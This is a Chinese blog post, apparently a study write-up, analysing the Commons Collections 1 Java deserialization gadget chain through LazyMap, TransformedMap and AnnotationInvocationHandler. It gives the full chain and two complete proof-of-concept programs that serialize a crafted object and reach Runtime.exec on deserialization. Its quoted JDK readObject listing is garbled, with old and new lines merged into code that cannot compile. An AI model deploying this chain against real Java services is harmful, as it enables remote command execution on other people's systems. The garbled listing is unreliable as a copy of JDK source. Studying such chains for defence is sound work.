Java安全之Commons Collections1分析（二）

0x00 前言

续上篇文，继续调试cc链。在上篇文章调试的cc链其实并不是一个完整的链。只是使用了几个方法的的互相调用弹出一个计算器。

下面来贴出他的完整的一个调用链

Gadget chain:
		ObjectInputStream.readObject()
			AnnotationInvocationHandler.readObject()
				Map(Proxy).entrySet()
					AnnotationInvocationHandler.invoke()
						LazyMap.get()
							ChainedTransformer.transform()
								ConstantTransformer.transform()
								InvokerTransformer.transform()
									Method.invoke()
										Class.getMethod()
								InvokerTransformer.transform()
									Method.invoke()
										Runtime.getRuntime()
								InvokerTransformer.transform()
									Method.invoke()
										Runtime.exec()

0x01 LazyMap

在分析前先来看看LazyMap这个类，这个类和TransformedMap类似。都是AbstractMapDecorator继承抽象类是Apache Commons Collections提供的一个类。在两个类不同点在于TransformedMap是在put方法去触发transform方法，而LazyMap是在get方法去调用方法。

当调用get(key)的key不存在时，会调用transformerChain的transform()方法。

修改一下poc，使用LazyMap的get方法来触发命令执行试试。

 public static void main(String[] args) throws Exception {
        //此处构建了一个transformers的数组，在其中构建了任意函数执行的核心代码
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
        };
        //将transformers数组存入ChaniedTransformer这个继承类
        Transformer transformerChain = new ChainedTransformer(transformers);
        //创建Map并绑定transformerChina
        Map innerMap = new HashMap();
        innerMap.put("value", "value");
        Map tmpmap = LazyMap.decorate(innerMap, transformerChain);
        tmpmap.get("1");
    }

这样也是可以成功的去执行命令。

0x02 AnnotationInvocationHandler

网上查找资料发现AnnotationInvocationHandler该类是用来处理注解的。

AnnotationInvocationHandler类的构造函数有两个参数，第⼀个参数是⼀个Annotation类类型参数，第二个是map类型参数。

在JDK里面，所有的注解类型都继承自这个普通的接口（Annotation）。

查看它的readObject⽅法

 private void readObject(java.io.ObjectInputStream s)
         throws java.io.IOException, ClassNotFoundException {
       s.defaultReadObject();
       ObjectInputStream.GetField fields = s.readFields();
       @SuppressWarnings("unchecked")
        Class<? extends Annotation> t = (Class<? extends Annotation>)fields.get("type", null);
       @SuppressWarnings("unchecked")
       Map<String, Object> streamVals = (Map<String, Object>)fields.get("memberValues", null);
         // Check to make sure that types have not evolved incompatibly
         AnnotationType annotationType = null;
         try {
           annotationType = AnnotationType.getInstance(type);
           annotationType = AnnotationType.getInstance(t);
         } catch(IllegalArgumentException e) {
             // Class is no longer an annotation type; time to punch out
             throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
         }
         Map<String, Class<?>> memberTypes = annotationType.memberTypes();
        // consistent with runtime Map type
       Map<String, Object> mv = new LinkedHashMap<>();
         // If there are annotation members without values, that
         // situation is handled by the invoke method.
        for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
       // for (Map.Entry<String, Object> memberValue : streamVals.entrySet()) {
             String name = memberValue.getKey();
            Object value = null;
             Class<?> memberType = memberTypes.get(name);
             if (memberType != null) {  // i.e. member still exists
                Object value = memberValue.getValue();
                value = memberValue.getValue();
                 if (!(memberType.isInstance(value) ||
                       value instanceof ExceptionProxy)) {
                    memberValue.setValue(
                        new AnnotationTypeMismatchExceptionProxy(
                    value = new AnnotationTypeMismatchExceptionProxy(
                             value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));
                                annotationType.members().get(name));
                 }
             }
            mv.put(name, value);
        }
        UnsafeAccessor.setType(this, t);
        UnsafeAccessor.setMemberValues(this, mv);
    }

使用反射调用AnnotationInvocationHandler并传入参数，这里传入一个Retention.class,和outerMap。

Retention是一个注解类。outerMap是我们TransformedMap修饰过的类。

这么这时候在 AnnotationInvocationHandler的readObject方法里面 memberValues就是我们使用反射传入的 TransformedMap的对象。

 Class clazz =
                    Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
            Constructor construct = clazz.getDeclaredConstructor(Class.class,
                    Map.class);
            construct.setAccessible(true);
            InvocationHandler handler = (InvocationHandler)
                    construct.newInstance(Retention.class, outerMap);

这⾥遍历了它的所有元素，并依次设置值。在调⽤setValue设置值的时候就会触发TransformedMap⾥的

Transform，从而进入导致命令的执行。

0x03 POC分析

public static void main(String[] args) {
            Transformer[] transformers = new Transformer[] {
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod", new Class[] {
                            String.class,
                            Class[].class }, new Object[] { "getRuntime",
                            new Class[0] }),
                    new InvokerTransformer("invoke", new Class[] {
                            Object.class,
                            Object[].class }, new Object[] { null, new
                            Object[0] }),
                    new InvokerTransformer("exec", new Class[] { String.class
                    },
                            new String[] {
                                    "calc.exe" }),
            };
            Transformer transformerChain = new
                    ChainedTransformer(transformers);
            Map innerMap = new HashMap();
            innerMap.put("value", "xxxx");
            Map outerMap = TransformedMap.decorate(innerMap, null,
                    transformerChain);
            Class clazz =
                    Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
            Constructor construct = clazz.getDeclaredConstructor(Class.class,
                    Map.class);
            construct.setAccessible(true);
            InvocationHandler handler = (InvocationHandler)
                    construct.newInstance(Retention.class, outerMap);
            ByteArrayOutputStream barr = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(barr);
            oos.writeObject(handler);
            oos.close();
            System.out.println(barr);
            ObjectInputStream ois = new ObjectInputStream(new
                    ByteArrayInputStream(barr.toByteArray()));
            Object o = (Object)ois.readObject();
    }
}

这里可以看到在Transformer[]数组里面存储的是一个Runtime.class，而不是Runtime对象。这是因为Runtime并没有实现java.io.Serializable 接⼝的。是不可被序列化的。而Runtime.class是属于java.lang.Class 。java.lang.Class 是实现了java.io.Serializable 接⼝的。可以被序列化。

把这行代码序列化后，在后面的反序列化中并没有去执行到命令。因为物理机的JDK版本较高，在高版本中的AnnotationInvocationHandler的readObject是被改动过的。从而并没有到达命令执行的目的，但是在低版本中的JDK是可以执行的。

0x04 参考文章

P牛的JAVA安全漫谈系列
https://xz.aliyun.com/t/7031#toc-2
https://www.cnblogs.com/litlife/p/12571787.html
https://blog.chaitin.cn/2015-11-11_java_unserialize_rce/

0X05 结尾

在分析该cc链时，总是从懵逼到顿悟到再懵逼，反反复复。在中途脑子也是一团糟。其实到这里CC链的调试也并没有结束，本文只是一点基础知识，为下篇文做铺垫。